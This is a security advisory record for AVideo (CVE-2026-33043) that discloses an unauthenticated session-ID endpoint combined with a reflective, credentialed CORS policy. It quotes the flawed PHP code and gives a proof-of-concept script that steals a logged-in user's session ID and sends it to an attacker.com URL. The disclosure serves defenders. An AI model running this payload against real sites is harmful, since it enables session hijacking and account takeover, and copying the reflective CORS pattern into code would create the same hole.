{"id":"GHSA-qc3p-398r-p59j","aliases":["CVE-2026-33043"],"title":"AVideo affected by Session Hijacking via Unauthenticated Session ID Disclosure with Permissive CORS","description":"### Summary\n\n`/objects/phpsessionid.json.php` exposes the current PHP session ID to any unauthenticated request. The `allowOrigin()` function reflects any `Origin` header back in `Access-Control-Allow-Origin` with `Access-Control-Allow-Credentials: true`, enabling cross-origin session theft and full account takeover.\n\n### Details\n\n**File:** `objects/phpsessionid.json.php`\n\n```php\nallowOrigin();\n$obj = new stdClass();\n$obj->phpsessid = session_id();\necho _json_encode($obj);\n```\n\nNo authentication is required. The `allowOrigin()` function in `objects/functions.php` (line ~2648) reflects the request Origin:\n\n```php\n$HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN'];\nheader(\"Access-Control-Allow-Origin: \" . $HTTP_ORIGIN);\nheader(\"Access-Control-Allow-Credentials: true\");\n```\n\nThis means any external website can make a credentialed cross-origin request and read the session ID.\n\n### PoC\n\nAn attacker hosts the following page:\n\n```html\n<script>\nfetch('https://TARGET/objects/phpsessionid.json.php', {\n  credentials: 'include'\n})\n.then(r => r.json())\n.then(d => {\n  // d.phpsessid = victim's session ID\n  document.location = 'https://attacker.com/steal?sid=' + d.phpsessid;\n});\n</script>\n```\n\nWhen a logged-in AVideo user visits the attacker's page, their PHP session ID is stolen via the permissive CORS policy, allowing the attacker to hijack their session.\n\n### Impact\n\n**Account Takeover** — Any logged-in user (including administrators) who visits an attacker-controlled page will have their session stolen. The attacker can then impersonate them with full privileges.","severity":"high","score":8.1,"published":"2026-03-17T19:52:28.000Z","modified":"2026-03-20T21:36:05.319Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"wwbn/avideo","ranges":[{"events":[{"introduced":"0"},{"last_affected":"25.0"}],"type":"ECOSYSTEM"}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0"],"fixed":[]}],"references":["https://github.com/WWBN/AVideo/security/advisories/GHSA-qc3p-398r-p59j","https://nvd.nist.gov/vuln/detail/CVE-2026-33043","https://github.com/WWBN/AVideo/commit/9f4f51e5df5e3343400f9d0068705f5482b6f930","https://github.com/WWBN/AVideo"],"sources":[{"name":"OSV","id":"GHSA-qc3p-398r-p59j","modified":"2026-03-20T21:36:05.319745Z","url":"https://osv.dev/vulnerability/GHSA-qc3p-398r-p59j"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1}]}